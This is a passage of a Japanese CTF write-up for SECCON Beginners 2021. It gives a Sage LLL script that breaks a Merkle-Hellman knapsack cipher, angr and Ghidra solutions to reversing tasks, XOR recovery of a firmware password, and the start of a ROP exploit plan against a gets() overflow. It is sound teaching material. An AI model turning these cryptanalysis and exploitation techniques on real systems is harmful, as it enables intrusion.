9576566069431525883762715341983732560085629671089897559307942342017237423144442133049657728319197511124149519512976698322385517896297503762943044451831682, 7165568955290222509156785556616132982441722968221047749287853532522706162989495783845174854505888062434423314563689608447591958198763443599582520354403262, 4886305788841254495561906932817366567996456189096683440102055315067086182866905742486434971809212556403255604320990070575999450589283865669827032247378026, 7974570179507384046793957867326714371457957470114044411785079610018843160599140562038134667373750144719208045822373607909523650049764790454624533560094438, 4699399884541021847518656224539601167184097708756378716924596672912033629859806682769146527434005646171138846377909985611374237928982199839841484034595124, 284699436285137586151623117958887854384067390251467180741921703094848380911015079304006363413374407709029807303242873481239873129968266824381074061576781, 7424603511991768566970306812540965037304046015506639020124822754523996481221874622779988256386434795599778401964853467233299073228923733026307559753461753, 10204802163769309817146573619091345092885022518990654924014656950712859972992223551924164346235264566717972681978724897809251721761375877244325753782176857, 9438420831957673445603305728093735430853841298036258989011836327310515846466591187953907621823894906525289199249629125784422458200828675239244266235272346, 10890020912636917421687599720986965506018026168566001306712363618691959621006154914816267736938077225993112076739368505752571167457735320815453253378863503, 7612905558494937122786907665601018921881673472453283960241071713931932464659066013897727134859798086411171769879216045995689241333798042462244230212212984, 6550836530141701911622212575637172610040961303781916329326618809093764882252631974098246519703546676024381344519501504247292099463026478299004729842120794, 810463246670448806288456723577253991309434245269230870268065162161683791423034382984779736398143238385314386270683813736785640795616980760740211633626680, 7987182793636123387405676060009070849539867837366546908532424481956731048800366776798314558709408103425915728898034756937642304986810890072970609409560920, 7214351975158893076759227293921988348242566545977916782340607663706728189002123227844454484007467068046595059915519900187040379326564702309329878614144193, 11014878924638095287994257524709668434779725530794695530401129023156413550436897097358726050238680106826431375584530778605250124880702844280402008225394872, 6027887507568715893917001583622263960984925990340905403518345783740595181396031310602841240588909634580493242079149694551634238251017289222201905339455410, 416347896819517370094008870355298145260975680342177838528189406107683995143464927834127034596304824694484130253280370972827705469927428341950098126774907, 11163457967473117384909170091800080756098465652817504823829957246101519582406623920562879665741186067843806160145308672039236647314452825448974599553726514, 9053783100187331404171412931836385824515184111948767809413867380276679820649936390889334178130847227206809033839795986237398002538596094506862090790079370, 9819981805416004420939228090848428270273275315135728420672592580587456849727183520386676637280961225785470170028563422457684520710033836815957352641076656, 9099422152831608846445523884690686488729801810193179742928892208927495088869678721490572756945304623223593124143301850937075818103925239158419916092455832, 4423577950698286460626059676874777666863173105923291070406075608137350484265775306538076488967427903876263455370640828955831433683427915837489787681571104, 8756602113276572584327515563541785021885156596606825926384196017746588797560380054132379478133281808160622488923734499010823093056004931483459821079878584, 333126719900068218649984650898276581721876314324829547579365535415969541796750123020026055084245123391225191139147600319762747033880097952001528586613619, 7369702367521762727060275952126910129673008169982509956632808176742772738596846920777046904811187475688291150543995266534651134952974656031439986139640279, 2082799199108465498916580083784704029374798612211554268896160342266763106031569342542856087063877321514991732991254030062209651901743851475358154981091336, 8372258715871921984711084318371475306529362956110229335731717773030170640559593876258151246392797433258993127356247484151533876227372092507704978818762299, 11363939608613542162316118345022960798510877466323811731267325707620939632567030190215087390814765739175622571243027333413495842968402118709843171345209057, 3369719356483561545444940792209404189671394809909673685150113895593885526741601117980579861293222360031506015395948410107943057618465847851857629017021337, 3891507040973395370891557095282687378471080702589144672203318739556917713281013957214254764662956395750402238983505175330658129247692117209748428646988979, 4841437298113170733673811622315491999860260018197250450712753745063206624775276093082643398955242651840094676440631824725064149754775763109535437072598329, 5285163136257383594317771821481380172518348255388334236768828515368456565257150986678782783096670986106218219974638745661030434504183981097992990683389834, 7244116929896986409152403472296524576447775663505970094108789986102399989798939651538136211134583253147368128866311176849015387662060018429204373203882917, 7148506525887590405588915139400704234523641207593915972629337111053532230604043569291551513966362985886466513012302064587708085238549323074532238261929105, 9963569892216434098358658807251534860655159021141499917379945920250313978770919657650973084221026686207963270148354989236871921037008125320635811012429562, 4083231038473288903981795364527141098698470950916969669140777386661810905824053818094335667187521576982089894722121785936689098719720641047141775887885619, 2783788314467957767626366294911171310778689255399742535622249802506963607071489599250401846151948395505808426552847045942384003413532965612237381621803281, 9480491617103309579842630556508755350939077789372196051463181228494854894713982210404024973543443376963252760676054552352172548702910903277458343177156566, 3635429364237267158097629083423075371334216134912102395399443587668365674217468957824903594013330904699195406402865693233751839584364352027341368755854935, 10512981667787343474434123766399499997477931436681258061313671140829123476643229877218327020307534330562667672313170203756349669502382157014339683250964247, 9523260882926982368319161046924327498415945065442619931245103165210783676690576930491155298561540325169832005257298960723638671214008183533978109799943226, 8821529840762200230987342601372713314571576667046848202753835140978481743059025729341547664906327089784889179309805528352373783300015409440694498526802453, 3889011833429464584665382058129163296830025770986703817534403311481298622682949913268185847076341119959231106603819499559066684839808723190986345797294730, 6297833894994750508332367344339230109576795350737018003925458747380227258991762309042244773127464626474655334235127595180446112677686417583728900997000407, 1760580993763018538952442776136678506892159758376177668343574661932032517138571264664041285910343183567929592789229684581190582868840885043494028059145548, 1878349075050149698900567649931858097059976052165743708683218061733003305198473269136227375120889463183154947939758601333339524877223521121998759362189694, 1153881028955172548796413995891509447158808154001092914831702555572321224472153757269063442351457270745992276168611327881189379302990513606066403785037397, 1354358223850339886669589906081771646741444582933245990266741503788401468880301111475162932826849753299053269048808168611803883992487116859632452934337117, 2543377884923981424206502982559952756662944312446884306172193873371281396271026877421637622091903368826348654608641732603862340627036661889590442947531927, 11180070331634863421659326942954695855354411135806527591627639434182163636572574833713806184536037752699260808146541362264028865594295761466526576972822841, 1876044157639270095152731171181080065397794949339134253513517014818122966068827775030685216937939154007734964960492393433966781954313208696759345941096572, 10371430099994185472204699548408748044905813408067850241238238375805107275941350946511274188710313819596480556092765947208731899524618164738003278717300827, 11062773114779865261456167102313685917798343978846196446106343403832714394829785645472593554347810116685987941912922522999627132764032557020449831422203646, 10054072863070251371743882375307803093121932615191109140649824301459981488908599582245204018730319415235637278900632334082353686886849433443418405120003345, 11899130436532794506852251375418519516682965538478411626134165694080477666467891621837514385290629527954317340066073791969068384836623478676900518078492144, 3800279300556347862463102798984354928617374220518396876660726722145475720924549768399286700699390419995192400567218086102399360340221316874256916817269786, 1454947148349065856463673503402856502963580434612167600249860095631651888047663819039861980434456089663660230397115050479224033897345798648510977653561999, 2042470330662475573678989377098661429766022525672425312136276901388618218130280731245706624788119897930174958967595406027605059992960882778388524742722706, 1234466316196775376839414369545576872418957414559143172775038206383525000927730516952675718815486990989447248421995842318819533894488233801079449620739194, 9271029179787872970578591499796305060434913207434694840381590014888853464622436665409168097643583816031775853388603609072558269628091676020362129748533199, 4774006049363181543707013424043619624722110752475263766809952707315716132555412365539258234954892899737076119368604420130439903122534513533911949833743235, 623110557039911730730761834817043413841225662260405544713333348288325346206246696815306384870033925067051567408116233686600986656157873843902741673267719, 2069564772459439803719938786548180498693262686543372238863965419552080267984035520909550576789640672747255124939459370750757373319167495387965403174747875, 7009930087547627207463341159618322389574790808227199206178856629902591585272159790554326172427287447472376543486549214941749592725452858178087430338966770, 1949579642601550445176938316267401962008340575271606619055456197313569922910186952978532646082714333411065815595963623697989602613867680323849962329445328, 11473102336200916747844954216116155097772201756920091057358990979985199603080222884336057264448248212309791104537148189404198070915699582464690841703029405, 1149619512535738601211196767922880108257082979896142736945084581216263253245359015735818442104694183806457438676420946219043390360617857622541114743356625, 2728451593413071164353755775705571417160504975979542074503589190184105228575509775437861194810114128293804518550015503478674215376973558551801959937646423, 7348551730526134269844474344843320874593220152077150721293689908105376303123526293549457485523388054871559487100009886469120877549640875229125679910062900, 3980652757335090376997966895588998245582192975449382011909532268728853465365643067981211212812543763607316362585146788052930930128811388536930969342059979, 6027435835414897879227982281610804883898257447430395373655482693982905460207165696577025993816548891414301115457107032212880895723138070720653764226458649, 4935176743833633453254610852208777179108847720614483842026980697614902097198030677572108382421721697955784940692357115100326157600867058374344306754345335, 11380188380193543686552603209635990889129830058847840211484047666443921358239983121578443798338622961931123079081312386043081771886474890372630867350934523, 302987216748498327772215483663698180358086916475422751109337904686429747813576273027596185544180584711869887380062832681724092251772710838738355782182450, 811143629811997853354681978704899746490333224184384674857937414780703218886854529258709525197480284388948037380964255401025910568649894324446856632636592, 1912197174748050506709090151289853815332962565872780585712134602155119195678387971652769864474405775662028797382605103443081542911360430369860062463563893, 7291021864361814150510118731044864385204363543462889467753348110602838791870962501076106462997795429050059428094480878740697465713025274178808092567542212, 10470454741786470619594017615965958273332950307267197723934552764686005671405407576286379932688897606971338908824726882615845921705580372546409941175331037, 10181553581483434681781949968008741740061264764289389453230798650897899608022705896680919782100794147183000150901376195723151791411050033951290283786019977, 4258448968850182298881050787339455844058983218447958438955469542872009797484665292406639737321421521390721898187715427947024660792416519473288140642795272, 665126950818270052200683167429361468415424104577516367369570410295667254789977695909839338561441230603199269238113935924286711971526139364836371465706219, 5778603245576121661625744968094217982871142011195728227336698796177623583983932093421170892589521281377735094971545437150524492567792401307382096969659571, 9041169568361270824631079916805143667485107440403819673118982324331196605243710736252243694585470054722017092703832685314107118663876738553603881090379765, 8431011838980342769799616288411243768347548689119233157208349141492002200386542305507576767212556262869263553150643023836392407323405139253427329269366753, 8553706268926206579355730973791660092353863784751509372422644440790878753983928717623545538807559356829947772453965617876985508934310354104621043687587875, 6085701268163349706176631571460435367494457139886003603182612764217346443544862940087286859921717077555924920693652181971614741028158787295175507903805498, 8258027474231127629757419236092115748878321896277358390666269357460217304432166604893188156062734768320200621455881016473474077406349529408491337579070619, 217331193100935107368229358299722097535960890408924136554062054994468178500442930497503537444463416350072629320109394984373121597844999496670174734623901, 2615530940468368976430415020232745908496491487732778845358342691984855337966644151086347954705207248347432846086811344429509626971772151674138828479034407, 9960118652490492442626264557722940366236550945756405929154467678797068007119691196073161215135625171292061966393931591117075379707418718493207613281734128, 11883479956336240751620508565956647791575906464658043904847102787653384413540737438954113122506827116919889512801006983398795266218225358709015970474796209, 6152285147387893134308305627413716697035724893956326980324894196703036047676192332607132054448632203410660151536148743152836146945863580679445515576633313, 3087204177300702725903801544645938527062384514542059207838072215532344688679150676602943592074143292505943525492596313110869017003113441178426953737136320, 3757237385014563017951360020497685657808716037369726973798008159647192565347911506203832144238975399303316833405799994094392890515318875781045298318308651, 4174290778215893394677957264252893474678237242610027055294712957192373957647857206677916027186240373718927301908828095938016364127818908516883960408679053, 3748803300372512770866385104654922154470904205965026771319291886728164245927197518590781953321238268806575463481225816414707349949847056384636893007457721, 8034791604871081754393742620809047036249538255482307958153762277184366357510690505406748023739482129037447179804389566282826743874110772660769989993214140, 3647010606069854412551850026099222166287473701386238939796403152511252931742239857496752497988938568540423402614995772990646648482450299155961694607003150, 7806003716386838238944347755133023427857127411524200971653891977428639559902033732325074590574245675288515664031976582135757036821962959301244591185185836, 562123165970750916018523521274665280554207579150705704505991893938951905226252420500731924279293805682202106917135997949779952378356926548090996464183261, 10017225347599062251185778825601433952376955965940785104804810153710575101527601556073680944735221687545673318069762612385520657594749285103779943556203859, 11034121495368102793824149104460238045159050590264281508159716286752391769866225931653206949515929308837443453281068270892449202454489663082251103597579414, 1393756984740491625980042801423925923652694124513215825983448770637319821986725266222696274322782094225350417979883496797845297892870351570641796736429365, 3894233430764171021978166251097684223603711526228678617083090942307219791681305224470393733859806270321706191768448575635613494955972821171942019155576022, 5038527951098793046808059643802686028797058725403977118364390586086699770072322326201266880837915838731709376700104758344376656110092506598359671395752201, 9060876869828818448898852928359252910511417178029126609685283138824053964178895354434001568085161220224819591618740459295638904077934235248948941835465621, 1213284553098562533791961352335340028855774866108118873722749495214290050781676187996449060540282711962596299780371703456279525985966066640468482695387037, 9458104547506301061680450860449196327062010922531182109678643885802054328886528832025671540545677869267828858508683156236410816570296275103437238768105346, 10040054309381342148323598117554716384177326501952268974305486266186254782754797649740498654297024089530806441993039549600316509292085634401892126157777725, 2276927462611754797775080537543333252522721301228205773464099348201834053373985987075600025798802656981615274790492592630699705223288330490059041063861371, 11556387618265616484447806363024761014562917993396940861921977454240032115257066203918497109784248023494996743861411413922697151976403744004551897333587419, 9889259553854405678741508034426455964451772337345174356626295292298205602394952451135449468310970347202594428138122580204423010430923553611754754581066813, 7868119367862772149704911491499473892301419246641480987785226518125812257513053330287476237691301677750429689882087996945744571488509040895507410804183873, 11508002714196611606395235648239725836815494703321432338230737422973329400113158960696048138066722457604799065695576108785835121800314850011501948179743038, 10619053976801844838774915437764267913028709258001605358060442557707903258319114013374183185245387748828857617374056519624892149856249176171314055188176610, 201114180079927977316442203939901331713590891511639359168566794984727753167419382266922071288806881033628450144449718352186865225718313149653818834069046, 2190019323352646788039891107369737594638195699052572482340522786006963164742529768845844542244804881489436879523607337606022137474264008443779753796524324, 8994078524243073711186983175744445990617668670221279088217344780392324816856868718135841406968011026331111428134944981275543409823808438028673340180600361, 6533284532224150900776455616895133851200922713727543406843945334153660021579927964092546898761699064888593901931845363003227384361960946837683468780536186, 2900049820355985276596651350970201641910754953548208005611546296295010850954727597768565027123529585734943900449339351229077414389982399805851238537614728, 1005880173354315818215910490344169033790331192510294503391908220666556408162907870924876819721045548763740285934029434904116009033147300587812755020644144, 4429054545144565886236734238945768223549483534284407724097387393750175064863874353898699526770177337528927941471007913087408339512025427531471222352188598, 1285938780473331065877152772696342220861565553509736020905508189616388274844286113355903326372890919435684927488271321733483666403913781504709399179873478, 4159150342515004345261144815031223818657482125521340153877247384204372764658422497390807502845508068305611676258953299381534589394265725368949773437475664, 6576053057257377078820906137528289451395389785096859241738114487306122040955968123160457777083015623663591073050698149441279744926252972821085393074005333, 1378738974519907914149249225442590530115602428508531939708952252356105515635440550944988163800986109078848963934554394890364246215667532562795230121599389, 7530997786399165063460850133858426260366809458237917996971974273555406375229986518119701973615401731228222820028200964035186619721317616016026502478833825, 11371420348305380659910667615045099750167009510608284140696036190712641050353322760033584623633845930207049409269889108127939128060387804390620146397391005, 1406722966782959654726752002298837227734989674210304975712947321382221136256184622554373120305519551329471835182546103526035414290130221817761536912957815, 5758051768032037692984394788957178321113409313718798728174793963781211431894591306550233406904077870173730087305011890560525061122641038861810843224356132, 8375592464786617292066912032437580000072737070264996613521303068301506481293691262141521386631735548118808483692010811823373696054502206285565746271896624, 9625907624488495507256482396243781284122158414224512296964826016170998792851176860574572431609386683318175698871706280650379052753758050216492793527676711, 6077121672943640395277987812076880734154021482921918507769764026301498404990781416398855464804098928307277904801175596028922879606596629086997501055486057, 10938317339216777969309005338771442572315779569919804097449082853678275737846462681571834649938887549054815344340466436822987440964989371612298886307178807, 10266683373756264194186447415036327152615834323531488817490014686098650065547689251785469369732777946066207328196236032745636606950149996263882005409859068, 8427162246188488278348961620437187641769838216136551139544284534863388602834144470655144389658677000026573199236022413391175268573166429748835445411482658, 5717464833792973913319562092059026311110221447664287634460947091552289507231429020487445388817891744834227397036749333830249281129481189357590616693269535, 6388818019678030249042408529039004378409245276686402664154657767440109416203769306619383018656924981215056511384850552069151122129846170533781262522748912, 8058907696340647071107754590699635637331185362322234472755551469964443477794313636568312465633167061469262463754899612550256454461142900371675688057900157, 2650747991231745389958958911304551569853139256346350929307683312550450872545634238374819072544315331311085466011529241531384249952089342273098825176365572, 1795582396480470137527176284050645710132884527117486543781042591101197373917145734791679886383698097545356710330294515054344795103981124797423720912065788, 3052494597227398062986766578785396078205343919129668957958403133104993465160270251274373731365131485657799744057254790666584712327793616306716481909813582, 10125274627175346533926610345531381215155487891981319401506773913530942967488666544216346832250066513931463806744742351603339791989023259173734707387511997, 4905680337396302183882293200926552057123452464915594706482473859546742047185066973667304120028692253252104621914547092876701216499304788257812361954677824, 6788406585087459374008868766038523502662818879678483645630850915173078456811145138541048171988301388863438344097400187657040868535924005858978037488288657, 7987535346230340897650689272410982431583013895248851443363614799158842046321593827278953603690586270590653576153599776704899221489125881490179734913546180, 8668917726517583777868824898842831799933140622366155997499295528164949892618224804058794268889856672657589162182942581708183617533722037397902258002530895, 9655881640658079998109185276195348247028848976437592393891872239361101495373466311759967129786284249009503363294866452781555176175074514406596570855032885, 2243254436239103264649148279923978439297113563084946410869285186376198427685827681488062426734892419878174177945847856801922284074524600494618385520306773, 1370395445224087129252981159080973354642721975377684037523867648255769044694663959614655088192001525836838035825117690852844390101675187401512396538329654, 4656356018264588713126970771096540938860534429248562594457229986461965010462394518948976087164472484086375527533066794826178852068228773967304732965776642, 399595104452867236939487452774442870382730185220898620972098982860940846257358797206676225999483077781771650287888749325035861259261575979039839692262492, 6713094317103593591035416401288016658374527895040216154450781797709219652499792405003768632192355326331160459215694094704931391013755418496926953624700285, 1355018836283025742708846544067619719808654650957172598457945625126225415187893386450296522915846040605946952638451856428941453174991662324580099164411759, 8507312388193815039448605936770163526583300978792064893979853487224838987061551285368575763268148426788906220831176609730056029700392843807931184213757186, 2390915763452094063824684068272365759171848406604147217738985384144180505204991956237689281338506240218745984753955055494680218520622041831641785650384604, 5078775779350968152334228179925283860790974436015640731121894535584508877508449803458104048591112435333313257450614663322502851401769525184404429846816662, 1425564122989501182786990586943993793473032764333069827246235450438848390559886137108308116686220076822910325740852447268122991165884941809370496785162762, 3241557185717009458583866491496790535555873425192682369967408484532454523143616622825602173631183439057048896614677331862355583135778598344467632239621265, 11153886486498005363601960922463467341760192139357482824612504299845068740009509797094949564531439906328941599335110459532334944225340180499338091922473414, 4750339554868896196047869851866222454424215998958859589162250220636186354219417775182461279765710413851720284554693629603182622333067705806099109845670979, 3931689678588961771487503092252686799044554895341999274823183685441609027829749616204909660105256179107533811726668939651921392965108014523612326438454763, 11187638131483583043295930937674327604068710567565996413543552914014991119808667664531916767958198065684486668485361079752275150252491497563209373369489026, 7951154730710536892216170200330921561976344676074745084927394513732709335427919379562575393123463516219422246176438982950570737516171571233794420196666886, 1672105185912794004124818038268311924305321636283766784591904708276129195324814049081791432685559117731983780119720703133146952521104542489075767958624517, 5961298351722930109958690694504209488357119642165137305859737050609557432218480991926525556188466406512020308464626017185419266848018117342271389200068990, 2614791092577719712081127427916398870473955060880008274836166534656201118982263931935400058828969825633552149733933209355913619475322640831081073991096019, 7585989640990063110599210948433357802190782090362288612653066977287873913659636348347931158157250612988653924395845263983389111801086659635847485205155792, 4431808088762149440258933713632651937723965113354466368892895978425300447231680836376644074059558059224711681073893610493216931561336057461872809335815419, 7803424065303659891769090326828845084396802995889011459387130902032712116540019926662218626165288561308869447406929573895286984344209221478683590810037836, 11333465632518722706044944069452368469429296564009722650087924377614457953420253199332209735022605809814036297664863446336960387614479076573269329031750987, 9015046896873406255435786931788379566338694649982989302643634589663708173842716795343443511577662905506449004999936754531825070165614729532129356052128575, 11605497784351360234525700004313542522479606465344927573861628615111353117631482629714381940820675064966051516229437449884465509791106407640656382300239363, 3618112506546716532317705417297714426926133719388251635042604657890418824749256430743547870156065078623067964196242241099881802766943775618184489388984614, 2961952780271618644341511265207741924062876582075139491069703688326317506273106501877576791814338926919371801113717337612487657355874282727562430403186215, 1959860827301876193534452473130565833580576931994622570402458534809572211163546248253809832512083364950948854715506995993724605349255618000388575898620819, 9522502213326349795872611375564340926065360170250620972307193996920225151270140085190219961878238320516211124175040938476084033356336641564459714925394556, 6822893241651652944802867129943790227179941374865599671130155956732332020891862363512840518812230889010452540282244203720602490116223523996809092557679690, 6857422579671283864309505737866570751014092920497487113429028085441724197811232340915656160313885768238889308579776669697849014732800696848033650297379889, 4018143097421566596818458699109838662675933060812340723092984957628021473520663072311941893877060261979047503976803401869798199151609532367574647600368003, 6194607058501590733164566924844005093710661715500276174295952934514177124661068706559499237499314609830082367219229089919247640185368549101514384767175538]
cipher = 1010137180395931262752398681857488526009620802401167859543237801022630704004744078316133982172587856565491470015404484864890095896964409269987597733836611756

probrem.py を読むと、Merkle-Hellman ナップサック暗号で暗号化しているのが分かる。

ja.wikipedia.org

ナップサック暗号は、低密度の場合 LLLアルゴリズムで解けるらしい。
以下を参考にスクリプトを書いて実行すると、フラグを取得することができた。

参考: https://github.com/everping/ctfs/blob/master/2015/4/plaidctf/crypto/lazy/solve.py

from Crypto.Util.number import long_to_bytes

def create_matrix_from_knapsack(ciphertext, pub_keys):
    last_col = []
    for p in pub_keys:
        last_col.append(int(p))

    last_col.append(ciphertext)
    last_row = [1 for i in pub_keys]

    my_matrix = MatrixSpace(ZZ, len(pub_keys))(2)
    m_last_row = matrix(ZZ, 1, len(last_row), last_row)
    m_last_col = matrix(ZZ, len(last_col), 1, last_col)

    my_matrix = my_matrix.stack(m_last_row)
    my_matrix = my_matrix.augment(m_last_col)

    return my_matrix


def is_short_vector(vector):
    for v in vector:
        if v != 1 and v != -1 and v != 0:
            return False
    return True


def find_short_vector(matrix):
    for row in matrix:
        if is_short_vector(row):
            return row


def main():
    with open('output.txt', 'r') as f:
        pub_key = eval(f.readline().strip().split('=')[-1])
        cipher = eval(f.readline().strip().split('=')[-1])

    my_matrix = create_matrix_from_knapsack(cipher, pub_key)
    new_matrix = my_matrix.LLL()
    short_vector = find_short_vector(new_matrix)

    solution_vector = []
    for v in short_vector:
        if v == 1:
            solution_vector.append(0)
        elif v == -1:
            solution_vector.append(1)

    print(solution_vector)

    flag = int(''.join(map(str, solution_vector)), 2)
    print(long_to_bytes(flag).decode())


if __name__ == '__main__':
    main()
$ sage solve.sage 
[1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1]
ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}

ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}

reversing

only_read

バイナリ読めなきゃやばいなり〜
chall 271938a479a59fe40438b9ecf0e2fca002fe085b
想定難易度: Beginner

chall を Ghidra でデコンパイルすると、以下のような処理が確認できた。

f:id:tsalvia:20210524024638p:plain

CyberChef で文字を取り出して、並べるとフラグになった。

ctf4b{c0n5t4nt_f0ld1ng}

be_angry

読みづらいからって怒らないでください😢
chall 1f28957cd66a7ed62240f51535db0eb547a0ef2d
想定難易度: Medium

chall を Ghidra でデコンパイルすると、以下のような分岐がたくさんある処理が確認できる。

f:id:tsalvia:20210524025946p:plain

Correct!! と表示させているアドレスを探して、angr にそのアドレスを指定して実行するとフラグが表示された。

f:id:tsalvia:20210524025600p:plain

import angr
import sys

base_addr = 0x400000
correct_addr = base_addr + 0x2539
bin_path = './chall'
proj = angr.Project(bin_path, load_options={'auto_load_libs':False})

state = proj.factory.entry_state(args=[bin_path])

simgr = proj.factory.simulation_manager(state)
simgr.explore(find=correct_addr)
state = simgr.found[0]
print(state.posix.dumps(0))
$ python3 solve.py 
WARNING | 2021-05-22 03:53:05,482 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-22 03:53:06,134 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
WARNING | 2021-05-22 03:53:06,137 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
b'ctf4b{3nc0d3_4r1thm3t1c}'

ctf4b{3nc0d3_4r1thm3t1c}

firmware

ctf4b networks社のページからファームウェアをダウンロードしてきました。
このファイルの中からパスワードを探してください。
firmware.tar.gz d8cee86716be435c1abf6eec8a821a8f2717af18
想定難易度: Medium

firmware.bin が問題で与えられている。
file コマンドでは、data と判定されていて中身が何かよく分からない。

$ file firmware.bin
firmware.bin: data

テキストエディタで開いてみると以下のようになっており、さまざまなデータが混在しているように見える。

f:id:tsalvia:20210524030434p:plain
f:id:tsalvia:20210524030511p:plain

binwalk を実行すると、以下の結果が表示された。

$ binwalk firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
127           0x7F            Base64 standard index table
2343          0x927           Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388          0x954           Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503         0x1462F         PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544         0x14658         Zlib compressed data, best compression
90593         0x161E1         ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906        0x18A2A         Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485        0x1943D         JPEG image data, JFIF standard 1.01
117167        0x1C9AF         PEM certificate
117786        0x1CC1A         HTML document header
118641        0x1CF71         HTML document footer

ARM の ELF ファイルが含まれているようなので、binwalk で抽出して Ghidra で確認する。

$ binwalk -D 'elf:bin' ./firmware.bin
$ file _firmware.bin.extracted/*
_firmware.bin.extracted/14658:      dBase III DBT, version number 0, next free block index 64513
_firmware.bin.extracted/14658.zlib: zlib compressed data
_firmware.bin.extracted/161E1.bin:  ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, BuildID[sha1]=d4fde2a811fccb987ffb2e075b170db18f797b8a, for GNU/Linux 3.2.0, not stripped

Ghidra で処理を確認すると、recv でデータを受け取り、そのデータを 0x53 で1文字ずつ XOR しながら、比較している処理が見える。

f:id:tsalvia:20210524032917p:plain

比較元のデータを確認すると、以下のようになっている。このデータを 0x53 で XOR すればフラグを取ることができる。

f:id:tsalvia:20210524033920p:plain

Ghidra Python で以下のようにすると、フラグに変換できた。

>>> enc_flag = getBytes(toAddr(0x10ea4),0x10f97-0x10ea4)
>>> ''.join([chr(b ^ 0x53) if b != 0x00 else '' for b in enc_flag])
'ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}\n'

ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

pwnable

beginners_rop

Do you like programming?
Did you know Return Oriented Programming?
nc beginners-rop.quals.beginners.seccon.jp 4102
beginners_rop.tar.gz de065e6f6fd8dfd632aa763b8b20bf5dc8ec8ea0
想定難易度: Easy

以下のファイルが与えられている。

src.c は以下のようになっており、バッファオーバフローの脆弱性がある。

#include <stdio.h>
#include <unistd.h>

char *gets(char *s);

int main() {
    char str[0x100];
    gets(str);
    puts(str);
}

__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

以下の方針で今回の問題を解いていく。

  1. バッファオーバフローを利用して、
    puts を呼び出し、puts のアドレスをリークさせる。
  2. リークさせた puts のアドレスを用いて、libc のベースアドレスを求める。
  3. libc の ROP チェインを使って、シェルを呼び出す。

まずは、pattc と patto でリターンアドレスまでのオフセットを求める。

$ gdb -q ./chall 
Reading symbols from ./chall...(no debugging symbols found)...done.
gdb-peda$ pattc 0x150
